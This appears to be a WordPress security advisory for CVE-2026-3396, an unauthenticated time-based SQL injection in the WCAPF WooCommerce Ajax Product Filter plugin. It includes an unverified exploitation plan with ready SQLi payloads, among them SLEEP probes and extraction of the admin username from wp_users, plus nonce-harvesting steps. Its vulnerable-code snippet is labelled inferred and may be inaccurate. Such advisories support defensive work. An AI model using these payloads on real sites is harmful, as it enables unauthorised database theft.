CVE-2026-3396

WCAPF – WooCommerce Ajax Product Filter <= 4.2.3 - Unauthenticated Time-Based SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.3.0
Patched in
1d
Time to patch

Description

WCAPF – WooCommerce Ajax Product Filter plugin is vulnerable to time-based SQL Injection via the 'post-author' parameter in all versions up to, and including, 4.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.2.3
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected pluginwc-ajax-product-filter

What Changed in the Fix

Changes introduced in v4.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3396 (WCAPF SQL Injection) ## 1. Vulnerability Summary The **WCAPF – WooCommerce Ajax Product Filter** plugin (versions <= 4.2.3) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists in the handling of the `post-author` parameter…

Show full research plan

Exploitation Research Plan: CVE-2026-3396 (WCAPF SQL Injection)

1. Vulnerability Summary

The WCAPF – WooCommerce Ajax Product Filter plugin (versions <= 4.2.3) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists in the handling of the post-author parameter within AJAX filtering requests. User input is concatenated directly into a SQL query without proper sanitization (e.g., absint()) or the use of $wpdb->prepare(). Because this occurs in an AJAX handler registered for unauthenticated users, any attacker can execute arbitrary SQL queries to extract sensitive data from the database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wcapf_ajax_filter (inferred from plugin functionality)
  • Vulnerable Parameter: post-author
  • Authentication: None required (Unauthenticated)
  • Payload Type: Time-based blind SQL Injection
  • Preconditions: The plugin must be active. A valid AJAX nonce is likely required, though often accessible on the shop page.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wcapf_ajax_filter.
  2. Hook Registration: The plugin registers the action via:
    add_action( 'wp_ajax_nopriv_wcapf_ajax_filter', [ $this, 'ajax_filter' ] );
  3. Input Acquisition: The handler function (e.g., ajax_filter()) retrieves the post-author value from $_POST or $_GET.
  4. Vulnerable Processing: The plugin constructs a query to filter products by author. It likely interpolates the post-author value directly into the WHERE clause:
    $author = $_POST['post-author'];
    $results = $wpdb->get_results("SELECT ... WHERE post_author IN ($author) ...");
    
  5. Sink: The raw SQL string is executed by $wpdb->get_results(), triggering the injection.

4. Nonce Acquisition Strategy

The plugin typically localizes its configuration and security nonces for frontend use.

  1. Identify Shortcode: The plugin uses [wcapf_form] or [wcapf_products] to display filters.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Shop Filter" --post_status=publish --post_content="[wcapf_form]"
  3. Navigate to Page: Use browser_navigate to visit the newly created page.
  4. Extract Nonce: The plugin localizes data into a JavaScript object. Based on common patterns in WCAPF, the object is likely wcapf_params.
    • JS Command: browser_eval("window.wcapf_params?.nonce")
    • Alternative: If not found, check for any localized object containing "nonce" using browser_eval("Object.keys(window).filter(k => k.includes('wcapf'))").

5. Exploitation Strategy

The goal is to confirm the vulnerability using a time-based payload.

Step-by-Step Execution:

  1. Discovery: Locate the exact AJAX action and localized variable name by searching the plugin directory:

    • grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/wc-ajax-product-filter/
    • grep -r "wp_localize_script" /var/www/html/wp-content/plugins/wc-ajax-product-filter/
  2. Baseline Request: Send a legitimate request to measure the standard response time.

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=wcapf_ajax_filter&wcapf_nonce=[NONCE]&post-author=1
    
  3. Sleep Payload: Send the injection payload.

    • Parameter: post-author
    • Value: 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a
    • Encoded Value: 1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a
  4. Data Extraction (PoC): Extract the database version.

    • Payload: 1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a

6. Test Data Setup

  1. Install Dependencies: Ensure WooCommerce is installed and active.
  2. Create Product:
    wp eval "if(!get_page_by_path('test-product', OBJECT, 'product')){ wc_create_product(['name' => 'Test Product']); }"
  3. Create Filter Page:
    wp post create --post_type=page --post_title="Filter Test" --post_status=publish --post_content='[wcapf_form]' --post_name='filter-test'
  4. Identify Nonce: Visit /filter-test and extract wcapf_params.nonce.

7. Expected Results

  • Baseline: Response time < 500ms.
  • Attack: Response time > 5000ms.
  • Response Body: Likely a JSON object with a success key or a HTML snippet of filtered products.

8. Verification Steps

After confirming the delay, verify the database state to ensure no permanent damage occurred (though SQLi here is READ-only by description):

  1. Check for the existence of the wp_users table content using the SQLi to confirm extraction capability:
    • Payload: 1) AND (SELECT 1 FROM (SELECT(IF(ASCII(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1))=97,SLEEP(5),0)))a (Checks if admin username starts with 'a').

9. Alternative Approaches

  • Boolean-Based Blind: If post-author=1 returns products and post-author=1 AND 1=2 returns "No products found", switch to boolean-based extraction as it is significantly faster than time-based.
  • Error-Based: Check if post-author=1' triggers a visible database error in the AJAX response. If WP_DEBUG is on, use updatexml() or extractvalue() for immediate data extraction.
  • Action Name Variations: If wcapf_ajax_filter fails, check for wcapf_filter or wcapf_apply_filter by searching for add_action.*wp_ajax in the plugin's includes/ directory.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WCAPF – WooCommerce Ajax Product Filter plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'post-author' parameter in version 4.2.3 and earlier. This occurs because user input is concatenated directly into a SQL query without proper sanitization or the use of WordPress's database preparation methods, allowing attackers to extract sensitive data via time-based inference.

Vulnerable Code

// Inferred logic in the AJAX handler (e.g., ajax_filter() in the plugin's AJAX controller)
$author = $_POST['post-author'];
$results = $wpdb->get_results("SELECT ... WHERE post_author IN ($author) ...");

Security Fix

Only in /home/deploy/wp-safety.org/data/plugin-versions/wc-ajax-product-filter/4.2.3/admin: lib
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-ajax-product-filter/4.2.3/build/form.asset.php /home/deploy/wp-safety.org/data/plugin-versions/wc-ajax-product-filter/4.3.0/build/form.asset.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-ajax-product-filter/4.2.3/build/form.asset.php	2025-01-19 19:46:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-ajax-product-filter/4.3.0/build/form.asset.php	2026-03-16 16:38:52.000000000 +0000
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '989ca2867ffeee42d68e');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => 'ce3dee3c876dd11dfb86');

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker follows these steps: 1. Access the shop page or any page where the WCAPF filter is active to obtain a valid nonce from the localized 'wcapf_params' JavaScript object (e.g., `window.wcapf_params.nonce`). 2. Construct a POST request directed at `/wp-admin/admin-ajax.php` with the `action` parameter set to `wcapf_ajax_filter`. 3. Include the extracted nonce in the `wcapf_nonce` parameter. 4. Inject a time-based SQL payload into the `post-author` parameter, such as `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a`. 5. Verify the injection by observing that the server's response time is delayed by the amount specified in the SLEEP command (e.g., 5 seconds).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.